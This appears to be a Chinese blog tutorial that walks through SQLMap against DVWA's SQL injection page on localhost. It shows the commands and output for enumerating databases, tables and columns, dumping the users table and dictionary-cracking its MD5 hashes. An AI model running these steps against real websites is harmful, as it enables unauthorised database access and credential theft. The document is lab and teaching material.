看到这篇文章，相信大家对于DVWA的搭建已经没问题了吧，在这里就不在赘述DVWA的搭建过程。
SQLMap之dvwa简单使用实例：
一、首先肯定是要判断是否有注入漏洞，在输入框输入1，返回
ID: 1
First name: admin
Surname: admin
返回正常；
再次输入1'，报错，返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
此时可以断定有SQL注入漏洞，下面利用SQLMap进行注入攻击。
二、利用SQLMap工具
<①>
python sqlmap.py -u "localhost:82/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" # -u " "参数--URL，进行测试，
# 提示：
sqlmap got a 302 redirect to 'http://localhost:82/DVWA-master/login.php'. Do you want to follow? [Y/n] # (SqLMAP得到302重定向到“http://LoalHoo:/DVWAuthMistal/Logial.php”。你想跟上吗？[y/n])
# 根据该提示，可以判断(302重定向)跳转至登录页面，看来需要带cookie
python sqlmap.py -u "localhost:82/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "F12→→Console→→document.cookie得到当前页面cookie" # 得到数据库类型版本(MySQL)，服务器类型版本(Apache,PHP)
# the back-end DBMS is MySQL //后台数据库管理系统：MySQL
web server operating system: Windows //Web服务武器操作系统：Windows
web application technology: Apache 2.4.29, PHP 7.2.2 //Web应用技术：Apache 2.4.29，PHP 7.2.2
back-end DBMS: MySQL >= 5.0 //后台数据库：MySQL
<②>
python sqlmap.py -u "~~~" --cookie "F12→→Console→→document.cookie得到当前页面cookie" --dbs # --dbs参数--得到所有数据库
# available databases [6]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
<③>
python sqlmap.py -u "~~~" --cookie "F12→→Console→→document.cookie得到当前页面cookie" --current-db # --current-db参数--得到当前使用的数据库
# current database： 'dvwa'
<④>
python sqlmap.py -u "~~~" --cookie "F12→→Console→→document.cookie得到当前页面cookie" --table -D "dvwa" # --table -D " "参数--得到dvwa数据库下面的表
# Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
<⑤>
python sqlmap.py -u "~~~" --cookie "F12→→Console→→document.cookie得到当前页面cookie" --columns -T "users" -D "dvwa" # --columns -T " " -D " "参数得到---dvwa数据库---下面的---表users---下面的列(columns)，即该表中都有哪些----属性及其数据类型
# Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
<⑥>
python sqlmap.py -u "~~~" --cookie "F12→→Console→→document.cookie得到当前页面cookie" --dump -C "user_id,user,password" -T "users" -D "dvwa"# --dump -C " " -T " " -D " "参数得到---dvwa数据库---下面的---表users---下面的列(Columns)的具体值，即某(些)属性的具体值
过程中出现的部分提示信息：
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
# 是否要将散列存储到临时文件中，以便最终使用其他工具进一步处理[y/N]
[time] [INFO] writing hashes to a temporary file 'c:\users\刘晓广\appdata\local\temp\sqlmapzgsl9c19212\sqlmaphashes-tkiuur.txt'
# 将哈希值写入临时文件c:\users\username\appdata\local\temp\sqlmapzgsl9c19212\sqlmaphashes-tkiuur.txt
do you want to crack them via a dictionary-based attack? [Y/n/q]
# 是否想通过基于字典的攻击来破解它们[Y/n/q]
[time] [INFO] using hash method 'md5_generic_passwd'
# md5_generic_passwd破解
what dictionary do you want to use?
# 用什么字典来破解
[1] default dictionary file 'E:\SQLMap\txt\wordlist.zip' (press Enter)
# 默认字典文件'E:\SQLMap\txt\wordlist.zip'(按下回车)
[2] custom dictionary file
# 自定义字典
[3] file with list of dictionary files
# 带有字典文件列表的文件
# Database: dvwa
Table: users
[5 entries]
+---------+---------+---------------------------------------------+
| user_id | user | password |
+---------+---------+---------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 2 | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------+---------------------------------------------+